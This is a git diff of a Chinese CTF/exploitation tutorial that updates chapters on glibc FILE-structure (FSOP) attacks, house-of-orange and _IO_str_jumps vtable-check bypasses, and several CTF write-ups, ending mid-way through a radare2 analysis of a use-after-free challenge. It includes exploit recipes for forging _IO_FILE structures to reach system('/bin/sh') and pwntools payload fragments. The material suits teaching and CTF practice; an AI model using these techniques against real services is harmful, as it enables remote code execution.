diff --git a/doc/3.1.8_heap_exploit_3.md b/doc/3.1.8_heap_exploit_3.md index 10800ea..31a73f7 100644 --- a/doc/3.1.8_heap_exploit_3.md +++ b/doc/3.1.8_heap_exploit_3.md @@ -908,7 +908,7 @@ _IO_flush_all_lockp (int do_lock) return result; } ``` -`_IO_list_all` 是一个 `_IO_FILE_plus` 类型的对象,我们的目的就是将 `_IO_list_all` 指针改写为一个伪造的指针,它的 `_IO_OVERFLOW` 指向 system,并且前 8 字节被设置为 '/bin/sh',所以对 `_IO_OVERFLOW(fp, EOF)` 的调用会变成对 `system('/bin/sh')` 的调用。 +`_IO_list_all` 是一个 `_IO_FILE_plus` 类型的对象,我们的目的就是将 `_IO_list_all` 指针改写为一个伪造的指针,它的 `_IO_OVERFLOW` 指向 system,并且前 8 字节被设置为 '/bin/sh',所以对 `_IO_OVERFLOW(fp, EOF)` 的调用最终会变成对 `system('/bin/sh')` 的调用。 ```c // libio/libioP.h /* We always allocate an extra word following an _IO_FILE. @@ -1001,7 +1001,7 @@ struct _IO_jump_t ``` 伪造 `_IO_jump_t` 中的 `__overflow` 为 system 函数的地址,从而达到执行 shell 的目的。 -当发生内存错误进入 `_IO_flush_all_lockp` 后,`_IO_list_all` 仍然指向 unsorted bin,这并不是一个我们能控制的地址。所以需要通过 `fp->_chain` 来将 fp 指向我们能控制的地方。所以将 size 字段设置为 0x61,因为此时 `_IO_list_all` 是 `&unsorted_bin-0x10`,偏移 0x60 位置处是 smallbins[4](或者说 bins[6])。此时,如果触发一个不适合的 small chunk 分配,malloc 就会将 old top 从 unsorted bin 放回 smallbins[4] 中。而在 `_IO_FILE` 结构中,偏移 0x60 指向 `struct _IO_marker *_markers`,偏移 0x68 指向 `struct _IO_FILE *_chain`,这两个值正好是 old top 的起始地址。这样 fp 就指向了 old top,这是一个我们能够控制的地址。 +当发生内存错误进入 `_IO_flush_all_lockp` 后,`_IO_list_all` 仍然指向 unsorted bin,这并不是一个我们能控制的地址。所以需要通过 `fp->_chain` 来将 fp 指向我们能控制的地方。所以将 size 字段设置为 0x61,因为此时 `_IO_list_all` 是 `&unsorted_bin-0x10`,偏移 0x60 位置上是 smallbins[5]。此时,如果触发一个不适合的 small chunk 分配,malloc 就会将 old top 从 unsorted bin 放回 smallbins[5] 中。而在 `_IO_FILE` 结构中,偏移 0x60 指向 `struct _IO_marker *_markers`,偏移 0x68 指向 `struct _IO_FILE *_chain`,这两个值正好是 old top 的起始地址。这样 fp 就指向了 old top,这是一个我们能够控制的地址。 在将 `_IO_OVERFLOW` 修改为 system 的时候,有一些条件检查: ```c diff --git a/doc/4.13_io_file.md b/doc/4.13_io_file.md index f790d3c..bc977b1 100644 --- a/doc/4.13_io_file.md +++ b/doc/4.13_io_file.md @@ -2,8 +2,9 @@ - [FILE 结构](#file-结构) - [FSOP](#fsop) -- [防御机制](#防御机制) -- [新的利用技术](#新的利用技术) +- [libc-2.24 防御机制](#libc-224-防御机制) +- [libc-2.24 利用技术](#libc-224-利用技术) +- [最新动态](#最新动态) - [CTF 实例](#ctf-实例) - [参考资料](#参考资料) @@ -136,6 +137,35 @@ extern struct _IO_FILE_plus _IO_2_1_stderr_; ``` 进程中的 FILE 结构会通过 `_chain` 域构成一个链表,链表头部用全局变量 `_IO_list_all` 表示。 +另外 `_IO_wide_data` 结构也是后面需要的: +```c +/* Extra data for wide character streams. */ +struct _IO_wide_data +{ + wchar_t *_IO_read_ptr; /* Current read pointer */ + wchar_t *_IO_read_end; /* End of get area. */ + wchar_t *_IO_read_base; /* Start of putback+get area. */ + wchar_t *_IO_write_base; /* Start of put area. */ + wchar_t *_IO_write_ptr; /* Current put pointer. */ + wchar_t *_IO_write_end; /* End of put area. */ + wchar_t *_IO_buf_base; /* Start of reserve area. */ + wchar_t *_IO_buf_end; /* End of reserve area. */ + /* The following fields are used to support backing up and undo. */ + wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */ + wchar_t *_IO_backup_base; /* Pointer to first valid character of + backup area */ + wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */ + + __mbstate_t _IO_state; + __mbstate_t _IO_last_state; + struct _IO_codecvt _codecvt; + + wchar_t _shortbuf[1]; + + const struct _IO_jump_t *_wide_vtable; +}; +``` + 下面我们来看几个函数的实现。 #### fopen ```c @@ -392,7 +422,7 @@ FSOP(File Stream Oriented Programming)是一种劫持 `_IO_list_all`(libc. - 执行 exit 函数时 - main 函数返回时 -当 glibc 检测到内存错误时,会依次调用这样的函数路径:`malloc_printerr -> _libc_message -> abort -> _IO_flush_all_lockp`。 +当 glibc 检测到内存错误时,会依次调用这样的函数路径:`malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp -> _IO_OVERFLOW`。 ```c // libio/genops.c @@ -424,7 +454,7 @@ _IO_flush_all_lockp (int do_lock) > fp->_wide_data->_IO_write_base)) #endif ) - && _IO_OVERFLOW (fp, EOF) == EOF) // 将其修改为 system 函数 + && _IO_OVERFLOW (fp, EOF) == EOF) // fp 指向伪造的 vtable result = EOF; if (do_lock) @@ -438,7 +468,7 @@ _IO_flush_all_lockp (int do_lock) last_stamp = _IO_list_all_stamp; } else - fp = fp->_chain; // 指向我们指定的区域 + fp = fp->_chain; // 指向下一个 IO_FILE 对象 } #ifdef _IO_MTSAFE_IO @@ -450,10 +480,81 @@ _IO_flush_all_lockp (int do_lock) return result; } ``` -于是对 `_IO_OVERFLOW(fp, EOF)` 的调用会变成对 `system('/bin/sh')` 的调用。 +```c +// libio/libioP.h + +#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH) +#define _IO_WOVERFLOW(FP, CH) WJUMP1 (__overflow, FP, CH) +``` +于是在 `_IO_OVERFLOW(fp, EOF)` 的执行过程中最终会调用 `system('/bin/sh')`。 + +还有一条 FSOP 的路径是在关闭 stream 的时候: +```c +// libio/iofclose.c + +int +_IO_new_fclose (_IO_FILE *fp) +{ + int status; + + CHECK_FILE(fp, EOF); + +#if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1) + /* We desperately try to help programs which are using streams in a + strange way and mix old and new functions. Detect old streams + here. */ + if (_IO_vtable_offset (fp) != 0) + return _IO_old_fclose (fp); +#endif + + /* First unlink the stream. */ + if (fp->_IO_file_flags & _IO_IS_FILEBUF) + _IO_un_link ((struct _IO_FILE_plus *) fp); + + _IO_acquire_lock (fp); + if (fp->_IO_file_flags & _IO_IS_FILEBUF) + status = _IO_file_close_it (fp); + else + status = fp->_flags & _IO_ERR_SEEN ? -1 : 0; + _IO_release_lock (fp); + _IO_FINISH (fp); // fp 指向伪造的 vtable + if (fp->_mode > 0) + { +#if _LIBC + /* This stream has a wide orientation. This means we have to free + the conversion functions. */ + struct _IO_codecvt *cc = fp->_codecvt; + + __libc_lock_lock (__gconv_lock); + __gconv_release_step (cc->__cd_in.__cd.__steps); + __gconv_release_step (cc->__cd_out.__cd.__steps); + __libc_lock_unlock (__gconv_lock); +#endif + } + else + { + if (_IO_have_backup (fp)) + _IO_free_backup_area (fp); + } + if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr) + { + fp->_IO_file_flags = 0; + free(fp); + } + + return status; +} +``` +```c +// libio/libioP.h + +#define _IO_FINISH(FP) JUMP1 (__finish, FP, 0) +#define _IO_WFINISH(FP) WJUMP1 (__finish, FP, 0) +``` +于是在 `_IO_FINISH (fp)` 的执行过程中最终会调用 `system('/bin/sh')`。 -## 防御机制 +## libc-2.24 防御机制 但是在 libc-2.24 中加入了对 vtable 指针的检查。这个 [commit](https://sourceware.org/git/gitweb.cgi?p=glibc.git;a=commitdiff;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51) 新增了两个函数:`IO_validate_vtable` 和 `_IO_vtable_check`。 ```c // libio/libioP.h @@ -517,9 +618,12 @@ _IO_vtable_check (void) 所有的 libio vtables 被放进了专用的只读的 `__libc_IO_vtables` 段,以使它们在内存中连续。在任何间接跳转之前,vtable 指针将根据段边界进行检查,如果指针不在这个段,则调用函数 `_IO_vtable_check()` 做进一步的检查,并且在必要时终止进程。 -## 新的利用技术 +## libc-2.24 利用技术 +#### _IO_str_jumps 在防御机制下通过修改虚表的利用技术已经用不了了,但同时出现了新的利用技术。既然无法将 vtable 指针指向 `__libc_IO_vtables` 以外的地方,那么就在 `__libc_IO_vtables` 里面找些有用的东西。比如 `_IO_str_jumps`(该符号在strip后会丢失): ```c +// libio/strops.c + const struct _IO_jump_t _IO_str_jumps libio_vtable = { JUMP_INIT_DUMMY, @@ -544,6 +648,11 @@ const struct _IO_jump_t _IO_str_jumps libio_vtable = JUMP_INIT(imbue, _IO_default_imbue) }; ``` +```c +// libio/libioP.h + +#define JUMP_INIT_DUMMY JUMP_INIT(dummy, 0), JUMP_INIT (dummy2, 0) +``` 这个 vtable 中包含了一个叫做 `_IO_str_overflow` 的函数,该函数中存在相对地址的引用(可伪造): ```c int @@ -574,52 +683,193 @@ _IO_str_overflow (_IO_FILE *fp, int c) return EOF; new_buf = (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size); // 在这个相对地址放上 system 的地址,即 system("/bin/sh") - if (new_buf == NULL) - { - /* __ferror(fp) = 1; */ - return EOF; - } - if (old_buf) - { - memcpy (new_buf, old_buf, old_blen); - (*((_IO_strfile *) fp)->_s._free_buffer) (old_buf); - /* Make sure _IO_setb won't try to delete _IO_buf_base. */ - fp->_IO_buf_base = NULL; - } - memset (new_buf + old_blen, '\0', new_size - old_blen); - - _IO_setb (fp, new_buf, new_buf + new_size, 1); - fp->_IO_read_base = new_buf + (fp->_IO_read_base - old_buf); - fp->_IO_read_ptr = new_buf + (fp->_IO_read_ptr - old_buf); - fp->_IO_read_end = new_buf + (fp->_IO_read_end - old_buf); - fp->_IO_write_ptr = new_buf + (fp->_IO_write_ptr - old_buf); - - fp->_IO_write_base = new_buf; - fp->_IO_write_end = fp->_IO_buf_end; - } - } - - if (!flush_only) - *fp->_IO_write_ptr++ = (unsigned char) c; - if (fp->_IO_write_ptr > fp->_IO_read_end) - fp->_IO_read_end = fp->_IO_write_ptr; - return c; -} + [...] ``` -构造的条件如下: -- _flags = 0 -- _IO_buf_base = 0 -- _IO_buf_end = (bin_sh - 100) / 2 -- _IO_write_ptr = 0x7fffffffffffffff -- _IO_write_base = 0 -- _mode = 0 +```c +// libio/strfile.h + +struct _IO_str_fields +{ + _IO_alloc_type _allocate_buffer; + _IO_free_type _free_buffer; +}; + +struct _IO_streambuf +{ + struct _IO_FILE _f; + const struct _IO_jump_t *vtable; +}; + +typedef struct _IO_strfile_ +{ + struct _IO_streambuf _sbf; + struct _IO_str_fields _s; +} _IO_strfile; +``` +所以可以像下面这样构造: +- fp->_flags = 0 +- fp->_IO_buf_base = 0 +- fp->_IO_buf_end = (bin_sh_addr - 100) / 2 +- fp->_IO_write_ptr = 0xffffffff +- fp->_IO_write_base = 0 +- fp->_mode = 0 + +有一点要注意的是,如果 bin_sh_addr 的地址以奇数结尾,为了避免除法向下取整的干扰,可以将该地址加 1。另外 system("/bin/sh") 是可以用 one_gadget 来代替的,这样似乎更加简单。 + +完整的调用过程:`malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp -> __GI__IO_str_overflow`。 与传统的 house-of-orange 不同的是,这种利用方法不再需要知道 heap 的地址,因为 `_IO_str_jumps` vtable 是在 libc 上的,所以只要能泄露出 libc 的地址就可以了。 +在这个 vtable 中,还有另一个函数 `_IO_str_finish`,它的检查条件比较简单: +```c +void +_IO_str_finish (_IO_FILE *fp, int dummy) +{ + if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF)) // 条件 + (((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); // 在这个相对地址放上 system 的地址 + fp->_IO_buf_base = NULL; + + _IO_default_finish (fp, 0); +} +``` +只要在 `fp->_IO_buf_base` 放上 "/bin/sh" 的地址,然后设置 `fp->_flags = 0` 就可以了绕过函数里的条件。 + +那么怎样让程序进入 `_IO_str_finish` 执行呢,`fclose(fp)` 是一条路,但似乎有局限。还是回到异常处理上来,在 `_IO_flush_all_lockp` 函数中是通过 `_IO_OVERFLOW` 执行的 `__GI__IO_str_overflow`,而 `_IO_OVERFLOW` 是根据 `__overflow` 相对于 `_IO_str_jumps` vtable 的偏移找到具体函数的。所以如果我们伪造传递给 `_IO_OVERFLOW(fp)` 的 fp 是 vtable 的地址减去 0x8,那么根据偏移,程序将找到 `_IO_str_finish` 并执行。 + +所以可以像下面这样构造: +- fp->_mode = 0 +- fp->_IO_write_ptr = 0xffffffff +- fp->_IO_write_base = 0 +- fp->_wide_data->_IO_buf_base = bin_sh_addr (也就是 fp->_IO_write_end) +- fp->_flags2 = 0 +- fp->_mode = 0 + +完整的调用过程:`malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp -> __GI__IO_str_finish`。 + +#### _IO_wstr_jumps +`_IO_wstr_jumps` 也是一个符合条件的 vtable,总体上和上面讲的 `_IO_str_jumps` 差不多: +```c +// libio/wstrops.c + +const struct _IO_jump_t _IO_wstr_jumps libio_vtable = +{ + JUMP_INIT_DUMMY, + JUMP_INIT(finish, _IO_wstr_finish), + JUMP_INIT(overflow, (_IO_overflow_t) _IO_wstr_overflow), + JUMP_INIT(underflow, (_IO_underflow_t) _IO_wstr_underflow), + JUMP_INIT(uflow, (_IO_underflow_t) _IO_wdefault_uflow), + JUMP_INIT(pbackfail, (_IO_pbackfail_t) _IO_wstr_pbackfail), + JUMP_INIT(xsputn, _IO_wdefault_xsputn), + JUMP_INIT(xsgetn, _IO_wdefault_xsgetn), + JUMP_INIT(seekoff, _IO_wstr_seekoff), + JUMP_INIT(seekpos, _IO_default_seekpos), + JUMP_INIT(setbuf, _IO_default_setbuf), + JUMP_INIT(sync, _IO_default_sync), + JUMP_INIT(doallocate, _IO_wdefault_doallocate), + JUMP_INIT(read, _IO_default_read), + JUMP_INIT(write, _IO_default_write), + JUMP_INIT(seek, _IO_default_seek), + JUMP_INIT(close, _IO_default_close), + JUMP_INIT(stat, _IO_default_stat), + JUMP_INIT(showmanyc, _IO_default_showmanyc), + JUMP_INIT(imbue, _IO_default_imbue) +}; +``` + +利用函数 `_IO_wstr_overflow`: +```c +_IO_wint_t +_IO_wstr_overflow (_IO_FILE *fp, _IO_wint_t c) +{ + int flush_only = c == WEOF; + _IO_size_t pos; + if (fp->_flags & _IO_NO_WRITES) + return flush_only ? 0 : WEOF; + if ((fp->_flags & _IO_TIED_PUT_GET) && !(fp->_flags & _IO_CURRENTLY_PUTTING)) + { + fp->_flags |= _IO_CURRENTLY_PUTTING; + fp->_wide_data->_IO_write_ptr = fp->_wide_data->_IO_read_ptr; + fp->_wide_data->_IO_read_ptr = fp->_wide_data->_IO_read_end; + } + pos = fp->_wide_data->_IO_write_ptr - fp->_wide_data->_IO_write_base; + if (pos >= (_IO_size_t) (_IO_wblen (fp) + flush_only)) // 条件 #define _IO_wblen(fp) ((fp)->_wide_data->_IO_buf_end - (fp)->_wide_data->_IO_buf_base) + { + if (fp->_flags2 & _IO_FLAGS2_USER_WBUF) /* not allowed to enlarge */ + return WEOF; + else + { + wchar_t *new_buf; + wchar_t *old_buf = fp->_wide_data->_IO_buf_base; + size_t old_wblen = _IO_wblen (fp); + _IO_size_t new_size = 2 * old_wblen + 100; // 使 new_size * sizeof(wchar_t) 为 "/bin/sh" 的地址 + + if (__glibc_unlikely (new_size < old_wblen) + || __glibc_unlikely (new_size > SIZE_MAX / sizeof (wchar_t))) + return EOF; + + new_buf + = (wchar_t *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size + * sizeof (wchar_t)); // 在这个相对地址放上 system 的地址 + [...] +``` + +利用函数 `_IO_wstr_finish`: +```c +void +_IO_wstr_finish (_IO_FILE *fp, int dummy) +{ + if (fp->_wide_data->_IO_buf_base && !(fp->_flags2 & _IO_FLAGS2_USER_WBUF)) // 条件 + (((_IO_strfile *) fp)->_s._free_buffer) (fp->_wide_data->_IO_buf_base); // 在这个相对地址放上 system 的地址 + fp->_wide_data->_IO_buf_base = NULL; + + _IO_wdefault_finish (fp, 0); +} +``` + + +## 最新动态 +来自 glibc 的 master 分支上的一次 [commit](https://sourceware.org/git/?p=glibc.git;a=commit;h=4e8a6346cd3da2d88bbad745a1769260d36f2783),不出意外应该会出现在 libc-2.28 中。 + +该方法简单粗暴,用操作堆的 malloc 和 free 替换掉原来在 `_IO_str_fields` 里的 `_allocate_buffer` 和 `_free_buffer`。由于不再使用偏移,就不能再利用 `__libc_IO_vtables` 上的 vtable 绕过检查,于是上面的利用技术就都失效了。:( + ## CTF 实例 请查看章节 6.1.24、6.1.25 和 6.1.26。另外在章节 3.1.8 中也有相关内容。 +附上偏移,构造时候方便一点: +``` +0x0 _flags +0x8 _IO_read_ptr +0x10 _IO_read_end +0x18 _IO_read_base +0x20 _IO_write_base +0x28 _IO_write_ptr +0x30 _IO_write_end +0x38 _IO_buf_base +0x40 _IO_buf_end +0x48 _IO_save_base +0x50 _IO_backup_base +0x58 _IO_save_end +0x60 _markers +0x68 _chain +0x70 _fileno +0x74 _flags2 +0x78 _old_offset +0x80 _cur_column +0x82 _vtable_offset +0x83 _shortbuf +0x88 _lock +0x90 _offset +0x98 _codecvt +0xa0 _wide_data +0xa8 _freeres_list +0xb0 _freeres_buf +0xb8 __pad5 +0xc0 _mode +0xc4 _unused2 +0xd8 vtable +``` + ## 参考资料 - [abusing the FILE structure](https://outflux.net/blog/archives/2011/12/22/abusing-the-file-structure/) diff --git a/doc/6.1.24_hitconctf2016_house_of_orange.md b/doc/6.1.24_hitconctf2016_house_of_orange.md index 11859db..e6ad28a 100644 --- a/doc/6.1.24_hitconctf2016_house_of_orange.md +++ b/doc/6.1.24_hitconctf2016_house_of_orange.md @@ -708,7 +708,7 @@ gdb-peda$ x/36gx 0x5555557580c0+0x410 0x5555557585d0: 0x0000000000000001 0x0000000000000002 0x5555557585e0: 0x00007ffff7a53380 0x000000000000000a ``` -可以看到 old top chunk 的 size 被改写为 0x60,在下次分配时,会先从 unsorted bin 中取下 old top chunk,将其放到 smallbin[4],同时,unsorted bin 的 bk 也将被改写成了 `&IO_list_all-0x10`。 +可以看到 old top chunk 的 size 被改写为 0x60,在下次分配时,会先从 unsorted bin 中取下 old top chunk,将其放到 smallbins[5],同时,unsorted bin 的 bk 也将被改写成了 `&IO_list_all-0x10`。 #### pwn ```python @@ -716,7 +716,7 @@ def pwn(): io.sendlineafter("Your choice : ", '1') # abort routine io.interactive() ``` -由于不能够通过检查,将触发异常处理过程,`malloc_printerr -> _libc_message -> abort -> _IO_flush_all_lockp`。 +由于不能够通过检查,将触发异常处理过程,`malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp`。 开启 ASLR,Bingo!!! ``` diff --git a/doc/6.1.25_pwn_hctf2017_babyprintf.md b/doc/6.1.25_pwn_hctf2017_babyprintf.md index e8194a8..170a805 100644 --- a/doc/6.1.25_pwn_hctf2017_babyprintf.md +++ b/doc/6.1.25_pwn_hctf2017_babyprintf.md @@ -150,7 +150,7 @@ def house_of_orange(): stream = p64(0) + p64(0x61) # fake header # fp stream += p64(0) + p64(io_list_all - 0x10) # fake bk pointer stream += p64(0) # fp->_IO_write_base - stream += p64(0x7fffffffffffffff) # fp->_IO_write_ptr + stream += p64(0xffffffff) # fp->_IO_write_ptr stream += p64(0) *2 # fp->_IO_write_end, fp->_IO_buf_base stream += p64((bin_sh_addr - 100) / 2) # fp->_IO_buf_end stream = stream.ljust(0xc0, '\x00') @@ -196,7 +196,7 @@ def pwn(): io.sendline("0") # abort routine io.interactive() ``` -最后触发异常处理,获得 shell。 +最后触发异常处理,`malloc_printerr -> __libc_message -> __GI_abort -> _IO_flush_all_lockp -> __GI__IO_str_overflow`,获得 shell。 开启 ASLR,Bingo!!! ``` @@ -259,7 +259,7 @@ def house_of_orange(): stream = p64(0) + p64(0x61) # fake header # fp stream += p64(0) + p64(io_list_all - 0x10) # fake bk pointer stream += p64(0) # fp->_IO_write_base - stream += p64(0x7fffffffffffffff) # fp->_IO_write_ptr + stream += p64(0xffffffff) # fp->_IO_write_ptr stream += p64(0) *2 # fp->_IO_write_end, fp->_IO_buf_base stream += p64((bin_sh_addr - 100) / 2) # fp->_IO_buf_end stream = stream.ljust(0xc0, '\x00') diff --git a/doc/6.1.26_pwn_34c3ctf2017_300.md b/doc/6.1.26_pwn_34c3ctf2017_300.md index 8a9a84c..3100458 100644 --- a/doc/6.1.26_pwn_34c3ctf2017_300.md +++ b/doc/6.1.26_pwn_34c3ctf2017_300.md @@ -21,10 +21,543 @@ Compiled by GNU CC version 6.3.0 20170406. ``` 64 位程序 ,开启了 canary、NX 和 PIE,默认开启 ASLR。 +在 Ubuntu16.10 上玩一下: +``` +) alloc +2) write +3) print +4) free +1 <-- alloc 1 +slot? (0-9) +1 +1) alloc +2) write +3) print +4) free +2 +slot? (0-9) +1 <-- write 1 +AAAAAAAAAAAAAAAA +1) alloc +2) write +3) print +4) free +4 <-- free 1 +slot? (0-9) +1 +1) alloc +2) write +3) print +4) free +2 <-- write 1 +slot? (0-9) +1 +BBBBBBBB +1) alloc +2) write +3) print +4) free +3 <-- print 1 +slot? (0-9) +1 +BBBBBBBB +AAAAAAA + +1) alloc +2) write +3) print +4) free +3 <-- print 2 +slot? (0-9) +2 +Segmentation fault (core dumped) +``` +很清晰的 4 个功能:alloc、write、print 和 free。通过尝试似乎就发现了问题,free 的时候没有将指针置空,导致 UAF。读入的字符串末尾没有加 `\x00` 导致信息泄露。最后如果 print 一个还没有 alloc 的 slot,则出现段错误。 + ## 题目解析 +#### main +``` +[0x00000790]> pdf @ main +/ (fcn) main 180 +| main (); +| ; var int local_20h @ rbp-0x20 +| ; var int local_14h @ rbp-0x14 +| ; var int local_8h @ rbp-0x8 +| ; var int local_4h @ rbp-0x4 +| ; DATA XREF from 0x000007ad (entry0) +| 0x00000a91 push rbp +| 0x00000a92 mov rbp, rsp +| 0x00000a95 sub rsp, 0x20 +| 0x00000a99 mov dword [local_14h], edi +| 0x00000a9c mov qword [local_20h], rsi +| ; CODE XREF from 0x00000b40 (main) +| .-> 0x00000aa0 mov eax, 0 +| : 0x00000aa5 call sym.menu +| : 0x00000aaa mov eax, 0 +| : 0x00000aaf call sym.read_int ; ssize_t read(int fildes, void *buf, size_t nbyte) +| : 0x00000ab4 mov dword [local_8h], eax +| : 0x00000ab7 lea rdi, str.slot___0_9 ; 0xbfe ; "slot? (0-9)" +| : 0x00000abe call sym.myputs +| : 0x00000ac3 mov eax, 0 +| : 0x00000ac8 call sym.read_int ; 读入 slot +| : 0x00000acd mov dword [local_4h], eax ; slot 放到 [local_4h] +| : 0x00000ad0 cmp dword [local_4h], 0 +| ,==< 0x00000ad4 js 0xadc ; slot 小于 0 时跳转,程序退出 +| |: 0x00000ad6 cmp dword [local_4h], 9 ; [0x9:4]=0 +| ,===< 0x00000ada jle 0xae6 ; slot 小于等于 9 时跳转 +| ||: ; CODE XREF from 0x00000ad4 (main) +| |`--> 0x00000adc mov edi, 0 +| | : 0x00000ae1 call sym.imp.exit ; void exit(int status) +| | : ; CODE XREF from 0x00000ada (main) +| `---> 0x00000ae6 mov eax, dword [local_8h] +| : 0x00000ae9 cmp eax, 2 +| ,==< 0x00000aec je 0xb12 ; write +| |: 0x00000aee cmp eax, 2 +| ,===< 0x00000af1 jg 0xafa +| ||: 0x00000af3 cmp eax, 1 +| ,====< 0x00000af6 je 0xb06 ; alloc +| ,=====< 0x00000af8 jmp 0xb36 +| ||||: ; CODE XREF from 0x00000af1 (main) +| ||`---> 0x00000afa cmp eax, 3 +| ||,===< 0x00000afd je 0xb1e ; print +| ||||: 0x00000aff cmp eax, 4 +| ,======< 0x00000b02 je 0xb2a ; free +| ,=======< 0x00000b04 jmp 0xb36 +| ||||||: ; CODE XREF from 0x00000af6 (main) +| |||`----> 0x00000b06 mov eax, dword [local_4h] ; 取出 slot +| ||| ||: 0x00000b09 mov edi, eax +| ||| ||: 0x00000b0b call sym.alloc_it ; 调用函数 alloc_it(slot) +| |||,====< 0x00000b10 jmp 0xb40 +| ||||||: ; CODE XREF from 0x00000aec (main) +| |||||`--> 0x00000b12 mov eax, dword [local_4h] ; 取出 slot +| ||||| : 0x00000b15 mov edi, eax +| ||||| : 0x00000b17 call sym.write_it ; 调用函数 write_it(slot) +| |||||,==< 0x00000b1c jmp 0xb40 +| ||||||: ; CODE XREF from 0x00000afd (main) +| ||||`---> 0x00000b1e mov eax, dword [local_4h] ; 取出 slot +| |||| |: 0x00000b21 mov edi, eax +| |||| |: 0x00000b23 call sym.print_it ; 调用函数 print_it(slot) +| ||||,===< 0x00000b28 jmp 0xb40 +| |`------> 0x00000b2a mov eax, dword [local_4h] ; 取出 slot +| | ||||: 0x00000b2d mov edi, eax +| | ||||: 0x00000b2f call sym.free_it ; 调用函数 free_it(slot) +| |,======< 0x00000b34 jmp 0xb40 +| ||||||: ; CODE XREF from 0x00000b04 (main) +| ||||||: ; CODE XREF from 0x00000b03 (main) +| ||||||: ; CODE XREF from 0x00000af8 (main) +| `-`-----> 0x00000b36 mov edi, 0 +| | |||: 0x00000b3b call sym.imp.exit ; void exit(int status) +| | |||| ; CODE XREF from 0x00000b28 (main) +| | |||| ; CODE XREF from 0x00000b34 (main) +| | |||| ; CODE XREF from 0x00000b1c (main) +| | |||| ; CODE XREF from 0x00000b10 (main) +\ `-````=< 0x00000b40 jmp 0xaa0 +``` +从 main 函数中我们知道,程序的所有操作都是基于 slot。 + +#### alloc +``` +[0x00000790]> pdf @ sym.alloc_it +/ (fcn) sym.alloc_it 51 +| sym.alloc_it (); +| ; var int local_4h @ rbp-0x4 +| ; CALL XREF from 0x00000b0b (main) +| 0x000009ca push rbp +| 0x000009cb mov rbp, rsp +| 0x000009ce sub rsp, 0x10 +| 0x000009d2 mov dword [local_4h], edi ; slot 放到 [local_4h] +| 0x000009d5 mov edi, 0x300 +| 0x000009da call sym.imp.malloc ; rax = malloc(0x300) 分配堆空间 +| 0x000009df mov rcx, rax +| 0x000009e2 mov eax, dword [local_4h] +| 0x000009e5 cdqe +| 0x000009e7 lea rdx, [rax*8] ; rdx = slot * 8 +| 0x000009ef lea rax, obj.allocs ; 0x202040 +| 0x000009f6 mov qword [rdx + rax], rcx ; 将该空间的地址放到 [0x202040 + slot * 8] +| 0x000009fa nop +| 0x000009fb leave +\ 0x000009fc ret +[0x00000790]> px 0x8*10 @ obj.allocs +- offset - 0 1 2 3 4 5 6 7 8 9 A B C D E F 0123456789ABCDEF +0x00202040 0000 0000 0000 0000 0000 0000 0000 0000 ................ +0x00202050 0000 0000 0000 0000 0000 0000 0000 0000 ................ +0x00202060 0000 0000 0000 0000 0000 0000 0000 0000 ................ +0x00202070 0000 0000 0000 0000 0000 0000 0000 0000 ................ +0x00202080 0000 0000 0000 0000 0000 0000 0000 0000 ................ +``` +该函数固定分配 0x300 的空间,然后根据 slot 将返回地址放到从 `0x202040` 开始的数组 allocs 中。 + +#### write +``` +[0x00000790]> pdf @ sym.write_it +/ (fcn) sym.write_it 56 +| sym.write_it (); +| ; var int local_4h @ rbp-0x4 +| ; CALL XREF from 0x00000b17 (main) +| 0x000009fd push rbp +| 0x000009fe mov rbp, rsp +| 0x00000a01 sub rsp, 0x10 +| 0x00000a05 mov dword [local_4h], edi ; slot 放到 [local_4h] +| 0x00000a08 mov eax, dword [local_4h] +| 0x00000a0b cdqe +| 0x00000a0d lea rdx, [rax*8] +| 0x00000a15 lea rax, obj.allocs ; 0x202040 +| 0x00000a1c mov rax, qword [rdx + rax] ; 取出 allocs[slot] +| 0x00000a20 mov edx, 0x300 +| 0x00000a25 mov rsi, rax +| 0x00000a28 mov edi, 0 +| 0x00000a2d call sym.imp.read ; read(0, allocs[slot], 0x300) 读入字符串 +| 0x00000a32 nop +| 0x00000a33 leave +\ 0x00000a34 ret +``` +该函数读入最多 0x300 个字符到 slot 对应的空间中。没有在字符串末尾加 `\x00`,可能导致信息泄露。 + +#### print +``` +[0x00000790]> pdf @ sym.print_it +/ (fcn) sym.print_it 46 +| sym.print_it (); +| ; var int local_4h @ rbp-0x4 +| ; CALL XREF from 0x00000b23 (main) +| 0x00000a35 push rbp +| 0x00000a36 mov rbp, rsp +| 0x00000a39 sub rsp, 0x10 +| 0x00000a3d mov dword [local_4h], edi ; slot 放到 [local_4h] +| 0x00000a40 mov eax, dword [local_4h] +| 0x00000a43 cdqe +| 0x00000a45 lea rdx, [rax*8] +| 0x00000a4d lea rax, obj.allocs ; 0x202040 +| 0x00000a54 mov rax, qword [rdx + rax] ; 取出 allocs[slot] +| 0x00000a58 mov rdi, rax +| 0x00000a5b call sym.myputs ; 打印 +| 0x00000a60 nop +| 0x00000a61 leave +\ 0x00000a62 ret +``` +该函数用于打印 slot 对应空间中的字符串。 + +#### free +``` +[0x00000790]> pdf @ sym.free_it +/ (fcn) sym.free_it 46 +| sym.free_it (); +| ; var int local_4h @ rbp-0x4 +| ; CALL XREF from 0x00000b2f (main) +| 0x00000a63 push rbp +| 0x00000a64 mov rbp, rsp +| 0x00000a67 sub rsp, 0x10 +| 0x00000a6b mov dword [local_4h], edi ; slot 放到 [local_4h] +| 0x00000a6e mov eax, dword [local_4h] +| 0x00000a71 cdqe +| 0x00000a73 lea rdx, [rax*8] +| 0x00000a7b lea rax, obj.allocs ; 0x202040 +| 0x00000a82 mov rax, qword [rdx + rax] ; 取出 allocs[slot] +| 0x00000a86 mov rdi, rax +| 0x00000a89 call sym.imp.free ; free(allocs[slot]) 释放空间 +| 0x00000a8e nop +| 0x00000a8f leave +\ 0x00000a90 ret +``` +该函数用于释放 slot 对应的空间,但是却没有将 